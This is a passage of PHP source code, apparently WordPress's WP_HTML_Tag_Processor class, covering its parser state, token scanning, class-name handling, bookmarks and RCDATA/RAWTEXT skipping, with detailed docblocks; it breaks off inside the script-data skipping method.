 * document as it loads. On the server, however, evaluating JavaScript is not
 * only impractical, but also unwanted.
 *
 * Practically this means that the Tag Processor will descend into NOSCRIPT
 * elements and process its child tags. Were the scripting flag enabled, such
 * as in a typical browser, the contents of NOSCRIPT are skipped entirely.
 *
 * This allows the HTML API to process the content that will be presented in
 * a browser when scripting is disabled, but it offers a different view of a
 * page than most browser sessions will experience. E.g. the tags inside the
 * NOSCRIPT disappear.
 *
 * ### Text Encoding
 *
 * The Tag Processor assumes that the input HTML document is encoded with a
 * text encoding compatible with 7-bit ASCII's '<', '>', '&', ';', '/', '=',
 * "'", '"', 'a' - 'z', 'A' - 'Z', and the whitespace characters ' ', tab,
 * carriage-return, newline, and form-feed.
 *
 * In practice, this includes almost every single-byte encoding as well as
 * UTF-8. Notably, however, it does not include UTF-16. If providing input
 * that's incompatible, then convert the encoding beforehand.
 *
 * @since 6.2.0
 * @since 6.2.1 Fix: Support for various invalid comments; attribute updates are case-insensitive.
 * @since 6.3.2 Fix: Skip HTML-like content inside rawtext elements such as STYLE.
 * @since 6.5.0 Pauses processor when input ends in an incomplete syntax token.
 *              Introduces "special" elements which act like void elements, e.g. TITLE, STYLE.
 *              Allows scanning through all tokens and processing modifiable text, where applicable.
 */
class WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at
	 * any given time.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::set_bookmark()
	 */
	const MAX_BOOKMARKS = 10;

	/**
	 * Maximum number of times seek() can be called.
	 * Prevents accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	const MAX_SEEK_OPS = 1000;

	/**
	 * The HTML document to parse.
	 *
	 * @since 6.2.0
	 * @var string
	 */
	protected $html;

	/**
	 * The last query passed to next_tag().
	 *
	 * @since 6.2.0
	 * @var array|null
	 */
	private $last_query;

	/**
	 * The tag name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_tag_name;

	/**
	 * The CSS class name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_class_name;

	/**
	 * The match offset this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var int|null
	 */
	private $sought_match_offset;

	/**
	 * Whether to visit tag closers, e.g. </div>, when walking an input document.
	 *
	 * @since 6.2.0
	 * @var bool
	 */
	private $stop_on_tag_closers;

	/**
	 * Specifies mode of operation of the parser at any given time.
	 *
	 * | State           | Meaning                                                              |
	 * | ----------------|----------------------------------------------------------------------|
	 * | *Ready*         | The parser is ready to run.                                          |
	 * | *Complete*      | There is nothing left to parse.                                      |
	 * | *Incomplete*    | The HTML ended in the middle of a token; nothing more can be parsed. |
	 * | *Matched tag*   | Found an HTML tag; it's possible to modify its attributes.           |
	 * | *Text node*     | Found a #text node; this is plaintext and modifiable.                |
	 * | *CDATA node*    | Found a CDATA section; this is modifiable.                           |
	 * | *Comment*       | Found a comment or bogus comment; this is modifiable.                |
	 * | *Presumptuous*  | Found an empty tag closer: `</>`.                                    |
	 * | *Funky comment* | Found a tag closer with an invalid tag name; this is modifiable.     |
	 *
	 * @since 6.5.0
	 *
	 * @see WP_HTML_Tag_Processor::STATE_READY
	 * @see WP_HTML_Tag_Processor::STATE_COMPLETE
	 * @see WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT
	 * @see WP_HTML_Tag_Processor::STATE_MATCHED_TAG
	 * @see WP_HTML_Tag_Processor::STATE_TEXT_NODE
	 * @see WP_HTML_Tag_Processor::STATE_CDATA_NODE
	 * @see WP_HTML_Tag_Processor::STATE_COMMENT
	 * @see WP_HTML_Tag_Processor::STATE_DOCTYPE
	 * @see WP_HTML_Tag_Processor::STATE_PRESUMPTUOUS_TAG
	 * @see WP_HTML_Tag_Processor::STATE_FUNKY_COMMENT
	 *
	 * @var string
	 */
	protected $parser_state = self::STATE_READY;

	/**
	 * Indicates if the document is in quirks mode or no-quirks mode.
	 *
	 *  Impact on HTML parsing:
	 *
	 *   - In `NO_QUIRKS_MODE` (also known as "standard mode"):
	 *       - CSS class and ID selectors match byte-for-byte (case-sensitively).
	 *       - A TABLE start tag `<table>` implicitly closes any open `P` element.
	 *
	 *   - In `QUIRKS_MODE`:
	 *       - CSS class and ID selectors match match in an ASCII case-insensitive manner.
	 *       - A TABLE start tag `<table>` opens a `TABLE` element as a child of a `P`
	 *         element if one is open.
	 *
	 * Quirks and no-quirks mode are thus mostly about styling, but have an impact when
	 * tables are found inside paragraph elements.
	 *
	 * @see self::QUIRKS_MODE
	 * @see self::NO_QUIRKS_MODE
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $compat_mode = self::NO_QUIRKS_MODE;

	/**
	 * Indicates whether the parser is inside foreign content,
	 * e.g. inside an SVG or MathML element.
	 *
	 * One of 'html', 'svg', or 'math'.
	 *
	 * Several parsing rules change based on whether the parser
	 * is inside foreign content, including whether CDATA sections
	 * are allowed and whether a self-closing flag indicates that
	 * an element has no content.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	private $parsing_namespace = 'html';

	/**
	 * What kind of syntax token became an HTML comment.
	 *
	 * Since there are many ways in which HTML syntax can create an HTML comment,
	 * this indicates which of those caused it. This allows the Tag Processor to
	 * represent more from the original input document than would appear in the DOM.
	 *
	 * @since 6.5.0
	 *
	 * @var string|null
	 */
	protected $comment_type = null;

	/**
	 * What kind of text the matched text node represents, if it was subdivided.
	 *
	 * @see self::TEXT_IS_NULL_SEQUENCE
	 * @see self::TEXT_IS_WHITESPACE
	 * @see self::TEXT_IS_GENERIC
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $text_node_classification = self::TEXT_IS_GENERIC;

	/**
	 * How many bytes from the original HTML document have been read and parsed.
	 *
	 * This value points to the latest byte offset in the input document which
	 * has been already parsed. It is the internal cursor for the Tag Processor
	 * and updates while scanning through the HTML tokens.
	 *
	 * @since 6.2.0
	 * @var int
	 */
	private $bytes_already_parsed = 0;

	/**
	 * Byte offset in input document where current token starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *     - token starts at 0
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_starts_at;

	/**
	 * Byte length of current token.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     012345678901234
	 *     - token length is 14 - 0 = 14
	 *
	 *     a <!-- comment --> is a token.
	 *     0123456789 123456789 123456789
	 *     - token length is 17 - 2 = 15
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_length;

	/**
	 * Byte offset in input document where current tag name starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      - tag name starts at 1
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_starts_at;

	/**
	 * Byte length of current tag name.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      --- tag name length is 3
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_length;

	/**
	 * Byte offset into input document where current modifiable text starts.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_starts_at;

	/**
	 * Byte length of modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_length;

	/**
	 * Whether the current tag is an opening tag, e.g. <div>, or a closing tag, e.g. </div>.
	 *
	 * @var bool
	 */
	private $is_closing_tag;

	/**
	 * Lazily-built index of attributes found within an HTML tag, keyed by the attribute name.
	 *
	 * Example:
	 *
	 *     // Supposing the parser is working through this content
	 *     // and stops after recognizing the `id` attribute.
	 *     // <div id="test-4" class=outline title="data:text/plain;base64=asdk3nk1j3fo8">
	 *     //                 ^ parsing will continue from this point.
	 *     $this->attributes = array(
	 *         'id' => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false )
	 *     );
	 *
	 *     // When picking up parsing again, or when asking to find the
	 *     // `class` attribute we will continue and add to this array.
	 *     $this->attributes = array(
	 *         'id'    => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false ),
	 *         'class' => new WP_HTML_Attribute_Token( 'class', 23, 7, 17, 13, false )
	 *     );
	 *
	 *     // Note that only the `class` attribute value is stored in the index.
	 *     // That's because it is the only value used by this class at the moment.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Attribute_Token[]
	 */
	private $attributes = array();

	/**
	 * Tracks spans of duplicate attributes on a given tag, used for removing
	 * all copies of an attribute when calling `remove_attribute()`.
	 *
	 * @since 6.3.2
	 *
	 * @var (WP_HTML_Span[])[]|null
	 */
	private $duplicate_attributes = null;

	/**
	 * Which class names to add or remove from a tag.
	 *
	 * These are tracked separately from attribute updates because they are
	 * semantically distinct, whereas this interface exists for the common
	 * case of adding and removing class names while other attributes are
	 * generally modified as with DOM `setAttribute` calls.
	 *
	 * When modifying an HTML document these will eventually be collapsed
	 * into a single `set_attribute( 'class', $changes )` call.
	 *
	 * Example:
	 *
	 *     // Add the `wp-block-group` class, remove the `wp-group` class.
	 *     $classname_updates = array(
	 *         // Indexed by a comparable class name.
	 *         'wp-block-group' => WP_HTML_Tag_Processor::ADD_CLASS,
	 *         'wp-group'       => WP_HTML_Tag_Processor::REMOVE_CLASS
	 *     );
	 *
	 * @since 6.2.0
	 * @var bool[]
	 */
	private $classname_updates = array();

	/**
	 * Tracks a semantic location in the original HTML which
	 * shifts with updates as they are applied to the document.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Span[]
	 */
	protected $bookmarks = array();

	const ADD_CLASS    = true;
	const REMOVE_CLASS = false;
	const SKIP_CLASS   = null;

	/**
	 * Lexical replacements to apply to input HTML document.
	 *
	 * "Lexical" in this class refers to the part of this class which
	 * operates on pure text _as text_ and not as HTML. There's a line
	 * between the public interface, with HTML-semantic methods like
	 * `set_attribute` and `add_class`, and an internal state that tracks
	 * text offsets in the input document.
	 *
	 * When higher-level HTML methods are called, those have to transform their
	 * operations (such as setting an attribute's value) into text diffing
	 * operations (such as replacing the sub-string from indices A to B with
	 * some given new string). These text-diffing operations are the lexical
	 * updates.
	 *
	 * As new higher-level methods are added they need to collapse their
	 * operations into these lower-level lexical updates since that's the
	 * Tag Processor's internal language of change. Any code which creates
	 * these lexical updates must ensure that they do not cross HTML syntax
	 * boundaries, however, so these should never be exposed outside of this
	 * class or any classes which intentionally expand its functionality.
	 *
	 * These are enqueued while editing the document instead of being immediately
	 * applied to avoid processing overhead, string allocations, and string
	 * copies when applying many updates to a single document.
	 *
	 * Example:
	 *
	 *     // Replace an attribute stored with a new value, indices
	 *     // sourced from the lazily-parsed HTML recognizer.
	 *     $start  = $attributes['src']->start;
	 *     $length = $attributes['src']->length;
	 *     $modifications[] = new WP_HTML_Text_Replacement( $start, $length, $new_value );
	 *
	 *     // Correspondingly, something like this will appear in this array.
	 *     $lexical_updates = array(
	 *         WP_HTML_Text_Replacement( 14, 28, 'https://my-site.my-domain/wp-content/uploads/2014/08/kittens.jpg' )
	 *     );
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Text_Replacement[]
	 */
	protected $lexical_updates = array();

	/**
	 * Tracks and limits `seek()` calls to prevent accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	protected $seek_count = 0;

	/**
	 * Whether the parser should skip over an immediately-following linefeed
	 * character, as is the case with LISTING, PRE, and TEXTAREA.
	 *
	 * > If the next token is a U+000A LINE FEED (LF) character token, then
	 * > ignore that token and move on to the next one. (Newlines at the start
	 * > of [these] elements are ignored as an authoring convenience.)
	 *
	 * @since 6.7.0
	 *
	 * @var int|null
	 */
	private $skip_newline_at = null;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param string $html HTML to process.
	 */
	public function __construct( $html ) {
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			$html = '';
		}
		$this->html = $html;
	}

	/**
	 * Switches parsing mode into a new namespace, such as when
	 * encountering an SVG tag and entering foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @param string $new_namespace One of 'html', 'svg', or 'math' indicating into what
	 *                              namespace the next tokens will be processed.
	 * @return bool Whether the namespace was valid and changed.
	 */
	public function change_parsing_namespace( string $new_namespace ): bool {
		if ( ! in_array( $new_namespace, array( 'html', 'math', 'svg' ), true ) ) {
			return false;
		}

		$this->parsing_namespace = $new_namespace;
		return true;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 No longer processes incomplete tokens at end of document; pauses the processor at start of token.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string|null $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$this->parse_query( $query );
		$already_found = 0;

		do {
			if ( false === $this->next_token() ) {
				return false;
			}

			if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
				continue;
			}

			if ( $this->matches() ) {
				++$already_found;
			}
		} while ( $already_found < $this->sought_match_offset );

		return true;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * An HTML document can be viewed as a stream of tokens,
	 * where tokens are things like HTML tags, HTML comments,
	 * text nodes, etc. This method finds the next token in
	 * the HTML document and returns whether it found one.
	 *
	 * If it starts parsing a token and reaches the end of the
	 * document then it will seek to the start of the last
	 * token and pause, returning `false` to indicate that it
	 * failed to find a complete token.
	 *
	 * Possible token types, based on the HTML specification:
	 *
	 *  - an HTML tag, whether opening, closing, or void.
	 *  - a text node - the plaintext inside tags.
	 *  - an HTML comment.
	 *  - a DOCTYPE declaration.
	 *  - a processing instruction, e.g. `<?xml version="1.0" ?>`.
	 *
	 * The Tag Processor currently only supports the tag token.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Recognizes CDATA sections within foreign content.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->base_class_next_token();
	}

	/**
	 * Internal method which finds the next token in the HTML document.
	 *
	 * This method is a protected internal function which implements the logic for
	 * finding the next token in a document. It exists so that the parser can update
	 * its state without affecting the location of the cursor in the document and
	 * without triggering subclass methods for things like `next_token()`, e.g. when
	 * applying patches before searching for the next token.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return bool Whether a token was parsed.
	 */
	private function base_class_next_token(): bool {
		$was_at = $this->bytes_already_parsed;
		$this->after_tag();

		// Don't proceed if there's nothing more to scan.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		/*
		 * The next step in the parsing loop determines the parsing state;
		 * clear it so that state doesn't linger from the previous step.
		 */
		$this->parser_state = self::STATE_READY;

		if ( $this->bytes_already_parsed >= strlen( $this->html ) ) {
			$this->parser_state = self::STATE_COMPLETE;
			return false;
		}

		// Find the next tag if it exists.
		if ( false === $this->parse_next_tag() ) {
			if ( self::STATE_INCOMPLETE_INPUT === $this->parser_state ) {
				$this->bytes_already_parsed = $was_at;
			}

			return false;
		}

		/*
		 * For legacy reasons the rest of this function handles tags and their
		 * attributes. If the processor has reached the end of the document
		 * or if it matched any other token then it should return here to avoid
		 * attempting to process tag-specific syntax.
		 */
		if (
			self::STATE_INCOMPLETE_INPUT !== $this->parser_state &&
			self::STATE_COMPLETE !== $this->parser_state &&
			self::STATE_MATCHED_TAG !== $this->parser_state
		) {
			return true;
		}

		// Parse all of its attributes.
		while ( $this->parse_next_attribute() ) {
			continue;
		}

		// Ensure that the tag closes before the end of the document.
		if (
			self::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			$this->bytes_already_parsed >= strlen( $this->html )
		) {
			// Does this appropriately clear state (parsed attributes)?
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}

		$tag_ends_at = strpos( $this->html, '>', $this->bytes_already_parsed );
		if ( false === $tag_ends_at ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}
		$this->parser_state         = self::STATE_MATCHED_TAG;
		$this->bytes_already_parsed = $tag_ends_at + 1;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;

		/*
		 * Certain tags require additional processing. The first-letter pre-check
		 * avoids unnecessary string allocation when comparing the tag names.
		 *
		 *  - IFRAME
		 *  - LISTING (deprecated)
		 *  - NOEMBED (deprecated)
		 *  - NOFRAMES (deprecated)
		 *  - PRE
		 *  - SCRIPT
		 *  - STYLE
		 *  - TEXTAREA
		 *  - TITLE
		 *  - XMP (deprecated)
		 */
		if (
			$this->is_closing_tag ||
			'html' !== $this->parsing_namespace ||
			1 !== strspn( $this->html, 'iIlLnNpPsStTxX', $this->tag_name_starts_at, 1 )
		) {
			return true;
		}

		$tag_name = $this->get_tag();

		/*
		 * For LISTING, PRE, and TEXTAREA, the first linefeed of an immediately-following
		 * text node is ignored as an authoring convenience.
		 *
		 * @see static::skip_newline_at
		 */
		if ( 'LISTING' === $tag_name || 'PRE' === $tag_name ) {
			$this->skip_newline_at = $this->bytes_already_parsed;
			return true;
		}

		/*
		 * There are certain elements whose children are not DATA but are instead
		 * RCDATA or RAWTEXT. These cannot contain other elements, and the contents
		 * are parsed as plaintext, with character references decoded in RCDATA but
		 * not in RAWTEXT.
		 *
		 * These elements are described here as "self-contained" or special atomic
		 * elements whose end tag is consumed with the opening tag, and they will
		 * contain modifiable text inside of them.
		 *
		 * Preserve the opening tag pointers, as these will be overwritten
		 * when finding the closing tag. They will be reset after finding
		 * the closing to tag to point to the opening of the special atomic
		 * tag sequence.
		 */
		$tag_name_starts_at   = $this->tag_name_starts_at;
		$tag_name_length      = $this->tag_name_length;
		$tag_ends_at          = $this->token_starts_at + $this->token_length;
		$attributes           = $this->attributes;
		$duplicate_attributes = $this->duplicate_attributes;

		// Find the closing tag if necessary.
		switch ( $tag_name ) {
			case 'SCRIPT':
				$found_closer = $this->skip_script_data();
				break;

			case 'TEXTAREA':
			case 'TITLE':
				$found_closer = $this->skip_rcdata( $tag_name );
				break;

			/*
			 * In the browser this list would include the NOSCRIPT element,
			 * but the Tag Processor is an environment with the scripting
			 * flag disabled, meaning that it needs to descend into the
			 * NOSCRIPT element to be able to properly process what will be
			 * sent to a browser.
			 *
			 * Note that this rule makes HTML5 syntax incompatible with XML,
			 * because the parsing of this token depends on client application.
			 * The NOSCRIPT element cannot be represented in the XHTML syntax.
			 */
			case 'IFRAME':
			case 'NOEMBED':
			case 'NOFRAMES':
			case 'STYLE':
			case 'XMP':
				$found_closer = $this->skip_rawtext( $tag_name );
				break;

			// No other tags should be treated in their entirety here.
			default:
				return true;
		}

		if ( ! $found_closer ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;
			return false;
		}

		/*
		 * The values here look like they reference the opening tag but they reference
		 * the closing tag instead. This is why the opening tag values were stored
		 * above in a variable. It reads confusingly here, but that's because the
		 * functions that skip the contents have moved all the internal cursors past
		 * the inner content of the tag.
		 */
		$this->token_starts_at      = $was_at;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;
		$this->text_starts_at       = $tag_ends_at;
		$this->text_length          = $this->tag_name_starts_at - $this->text_starts_at;
		$this->tag_name_starts_at   = $tag_name_starts_at;
		$this->tag_name_length      = $tag_name_length;
		$this->attributes           = $attributes;
		$this->duplicate_attributes = $duplicate_attributes;

		return true;
	}

	/**
	 * Whether the processor paused because the input HTML document ended
	 * in the middle of a syntax element, such as in the middle of a tag.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<input type="text" value="Th' );
	 *     false      === $processor->get_next_tag();
	 *     true       === $processor->paused_at_incomplete_token();
	 *
	 * @since 6.5.0
	 *
	 * @return bool Whether the parse paused at the start of an incomplete token.
	 */
	public function paused_at_incomplete_token(): bool {
		return self::STATE_INCOMPLETE_INPUT === $this->parser_state;
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.4.0
	 */
	public function class_list() {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return;
		}

		/** @var string $class contains the string value of the class attribute, with character references decoded. */
		$class = $this->get_attribute( 'class' );

		if ( ! is_string( $class ) ) {
			return;
		}

		$seen = array();

		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;

		$at = 0;
		while ( $at < strlen( $class ) ) {
			// Skip past any initial boundary characters.
			$at += strspn( $class, " \t\f\r\n", $at );
			if ( $at >= strlen( $class ) ) {
				return;
			}

			// Find the byte length until the next boundary.
			$length = strcspn( $class, " \t\f\r\n", $at );
			if ( 0 === $length ) {
				return;
			}

			$name = str_replace( "\x00", "\u{FFFD}", substr( $class, $at, $length ) );
			if ( $is_quirks ) {
				$name = strtolower( $name );
			}
			$at += $length;

			/*
			 * It's expected that the number of class names for a given tag is relatively small.
			 * Given this, it is probably faster overall to scan an array for a value rather
			 * than to use the class name as a key and check if it's a key of $seen.
			 */
			if ( in_array( $name, $seen, true ) ) {
				continue;
			}

			$seen[] = $name;
			yield $name;
		}
	}


	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.4.0
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$case_insensitive = self::QUIRKS_MODE === $this->compat_mode;

		$wanted_length = strlen( $wanted_class );
		foreach ( $this->class_list() as $class_name ) {
			if (
				strlen( $class_name ) === $wanted_length &&
				0 === substr_compare( $class_name, $wanted_class, 0, strlen( $wanted_class ), $case_insensitive )
			) {
				return true;
			}
		}

		return false;
	}


	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $name ): bool {
		// It only makes sense to set a bookmark if the parser has paused on a concrete token.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		if ( ! array_key_exists( $name, $this->bookmarks ) && count( $this->bookmarks ) >= static::MAX_BOOKMARKS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many bookmarks: cannot create any more.' ),
				'6.2.0'
			);
			return false;
		}

		$this->bookmarks[ $name ] = new WP_HTML_Span( $this->token_starts_at, $this->token_length );

		return true;
	}


	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @param string $name Name of the bookmark to remove.
	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $name ): bool {
		if ( ! array_key_exists( $name, $this->bookmarks ) ) {
			return false;
		}

		unset( $this->bookmarks[ $name ] );

		return true;
	}

	/**
	 * Skips contents of generic rawtext elements.
	 *
	 * @since 6.3.2
	 *
	 * @see https://html.spec.whatwg.org/#generic-raw-text-element-parsing-algorithm
	 *
	 * @param string $tag_name The uppercase tag name which will close the RAWTEXT region.
	 * @return bool Whether an end to the RAWTEXT region was found before the end of the document.
	 */
	private function skip_rawtext( string $tag_name ): bool {
		/*
		 * These two functions distinguish themselves on whether character references are
		 * decoded, and since functionality to read the inner markup isn't supported, it's
		 * not necessary to implement these two functions separately.
		 */
		return $this->skip_rcdata( $tag_name );
	}

	/**
	 * Skips contents of RCDATA elements, namely title and textarea tags.
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#rcdata-state
	 *
	 * @param string $tag_name The uppercase tag name which will close the RCDATA region.
	 * @return bool Whether an end to the RCDATA region was found before the end of the document.
	 */
	private function skip_rcdata( string $tag_name ): bool {
		$html       = $this->html;
		$doc_length = strlen( $html );
		$tag_length = strlen( $tag_name );

		$at = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at                       = strpos( $this->html, '</', $at );
			$this->tag_name_starts_at = $at;

			// Fail if there is no possible tag closer.
			if ( false === $at || ( $at + $tag_length ) >= $doc_length ) {
				return false;
			}

			$at += 2;

			/*
			 * Find a case-insensitive match to the tag name.
			 *
			 * Because tag names are limited to US-ASCII there is no
			 * need to perform any kind of Unicode normalization when
			 * comparing; any character which could be impacted by such
			 * normalization could not be part of a tag name.
			 */
			for ( $i = 0; $i < $tag_length; $i++ ) {
				$tag_char  = $tag_name[ $i ];
				$html_char = $html[ $at + $i ];

				if ( $html_char !== $tag_char && strtoupper( $html_char ) !== $tag_char ) {
					$at += $i;
					continue 2;
				}
			}

			$at                        += $tag_length;
			$this->bytes_already_parsed = $at;

			if ( $at >= strlen( $html ) ) {
				return false;
			}

			/*
			 * Ensure that the tag name terminates to avoid matching on
			 * substrings of a longer tag name. For example, the sequence
			 * "</textarearug" should not match for "</textarea" even
			 * though "textarea" is found within the text.
			 */
			$c = $html[ $at ];
			if ( ' ' !== $c && "\t" !== $c && "\r" !== $c && "\n" !== $c && '/' !== $c && '>' !== $c ) {
				continue;
			}

			while ( $this->parse_next_attribute() ) {
				continue;
			}

			$at = $this->bytes_already_parsed;
			if ( $at >= strlen( $this->html ) ) {
				return false;
			}

			if ( '>' === $html[ $at ] ) {
				$this->bytes_already_parsed = $at + 1;
				return true;
			}

			if ( $at + 1 >= strlen( $this->html ) ) {
				return false;
			}

			if ( '/' === $html[ $at ] && '>' === $html[ $at + 1 ] ) {
				$this->bytes_already_parsed = $at + 2;
				return true;
			}
		}

		return false;
	}

	/**
	 * Skips contents of script tags.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the script tag was closed before the end of the document.
	 */
	private function skip_script_data(): bool {
		$state      = 'unescaped';
		$html       = $this->html;
		$doc_length = strlen( $html );
		$at         = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at += strcspn( $html, '-<', $at );

			/*
			 * Optimization: Terminating a complete script element requires at least eight
			 * additional bytes in the document. Some checks below may cause local escaped
			 * state transitions when processing shorter strings, but those transitions are
			 * irrelevant if the script tag is incomplete and the function must return false.
			 *
			 * This may need updating if those transitions become significant or exported from
			 * this function in some way, such as when building safe methods to embed JavaScript
			 * or data inside a SCRIPT element.
			 *
			 *     $at may be here.
			 *        ↓
			 *     ...</script>
			 *         ╰──┬───╯
			 *     $at + 8 additional bytes are required for a non-false return value.
			 *
			 * This single check eliminates the need to check lengths for the shorter spans:
			 *
